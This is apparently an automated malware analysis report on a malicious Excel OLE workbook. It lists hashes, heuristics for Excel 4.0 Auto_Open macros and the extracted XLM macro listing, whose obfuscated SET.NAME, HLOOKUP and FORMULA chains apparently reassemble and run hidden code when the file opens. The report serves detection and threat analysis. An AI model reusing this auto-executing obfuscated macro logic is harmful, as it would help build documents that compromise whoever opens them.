Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 efa24e1d38629a98…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:37:22 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 5de9e8c6ee87e36c20b9a8a0c5c0e060 SHA-1: 541766217b80cf47aa92a8921a40a8707a39b0c3 SHA-256: efa24e1d38629a98b0c6db0c7a4386637d366435e564c4cadc1ac155e39574c3
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, specifically noting the use of dangerous formula APIs like RUN. This strongly suggests the macro is designed to execute arbitrary code upon opening the document. The macro sheet itself contains obfuscated strings and references, typical of malware attempting to hide its payload or download mechanism.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: 79c216e9a419331aa6d13f509e99416a400a3850e2a02050b43cd625736e0eb7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zWhQj
' 0018     25 LABEL : Cell Value, String Constant - AmPqKcQNvS len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F165 
' 0018     27 LABEL : Cell Value, String Constant - BRzzNQyipbIk len=0 
' 0018     23 LABEL : Cell Value, String Constant - DGoigWhr len=0 
' 0018     26 LABEL : Cell Value, String Constant - DThJIWKJrXA len=0 
' 0018     26 LABEL : Cell Value, String Constant - ECSFVoLGYTd len=0 
' 0018     26 LABEL : Cell Value, String Constant - fUFDZURuQbm len=0 
' 0018     27 LABEL : Cell Value, String Constant - glKLLHznhsuo len=0 
' 0018     24 LABEL : Cell Value, String Constant - GlrpEXGGD len=0 
' 0018     27 LABEL : Cell Value, String Constant - gqTAUeBkTUnA len=0 
' 0018     21 LABEL : Cell Value, String Constant - GrdMzS len=0 
' 0018     23 LABEL : Cell Value, String Constant - jgqCvMWf len=0 
' 0018     27 LABEL : Cell Value, String Constant - OIDMOsbFAjSM len=0 
' 0018     21 LABEL : Cell Value, String Constant - OknsSi len=0 
' 0018     25 LABEL : Cell Value, String Constant - oZhUqoJyHT len=0 
' 0018     21 LABEL : Cell Value, String Constant - pRQFgX len=0 
' 0018     27 LABEL : Cell Value, String Constant - qLWOngXlQrlL len=0 
' 0018     25 LABEL : Cell Value, String Constant - VQqLipIwLT len=0 
' 0018     20 LABEL : Cell Value, String Constant - WoETZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - WRUakYzGZNR len=0 
' 0018     26 LABEL : Cell Value, String Constant - zawjERYUmwt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zWhQj,F72,"SET.NAME("BRzzNQyipbIk",VALUE("0"))",""
'  zWhQj,F76,"SET.NAME("OknsSi",BRzzNQyipbIk)",""
'  zWhQj,F80,"SET.NAME("DGoigWhr",BRzzNQyipbIk)",""
'  zWhQj,F82,"SET.NAME("OIDMOsbFAjSM",COUNTA(zawjERYUmwt))",""
'  zWhQj,F84,"SET.NAME("GlrpEXGGD",COUNTA(glKLLHznhsuo))",""
'  zWhQj,F86,[],""
'  zWhQj,F90,"SET.NAME("jgqCvMWf","")",""
'  zWhQj,F92,"OknsSi",""
'  zWhQj,F97,"SET.NAME("VQqLipIwLT",HLOOKUP("*",zawjERYUmwt,OknsSi,FALSE))",""
'  zWhQj,F102,"AmPqKcQNvS",""
'  zWhQj,F106,"SET.NAME("WoETZ",BRzzNQyipbIk)",""
'  zWhQj,F108,[],""
'  zWhQj,F111,"WoETZ",""
'  zWhQj,F116,"oZhUqoJyHT",""
'  zWhQj,F121,"pRQFgX",""
'  zWhQj,F126,"gqTAUeBkTUnA",""
'  zWhQj,F129,"SET.NAME("qLWOngXlQrlL",VALUE(HLOOKUP("*",glKLLHznhsuo,gqTAUeBkTUnA,FALSE)))",""
'  zWhQj,F133,"WRUakYzGZNR",""
'  zWhQj,F136,"jgqCvMWf",""
'  zWhQj,F140,"DGoigWhr",""
'  zWhQj,F143,NEXT(),""
'  zWhQj,F147,"ECSFVoLGYTd",""
'  zWhQj,F151,"SET.NAME("f",INT(T(FORMULA(T(jgqCvMWf)&"",""&T(ECSFVoLGYTd)))))",""
'  zWhQj,F155,"fUFDZURuQbm",""
'  zWhQj,F159,NEXT(),""
'  zWhQj,F163,RETURN(),""
'  zWhQj,F187,"SET.NAME("GrdMzS",F72)",""
'  zWhQj,F192,"zawjERYUmwt",""
'  zWhQj,F194,"SET.NAME("glKLLHznhsuo",R71C11)",""
'  zWhQj,F197,"SET.NAME("fUFDZURuQbm",203)",""
'  zWhQj,F200,"SET.NAME("DThJIWKJrXA",6)",""
'  zWhQj,F202,GrdMzS(),""
'  zWhQj,F203,HALT(),""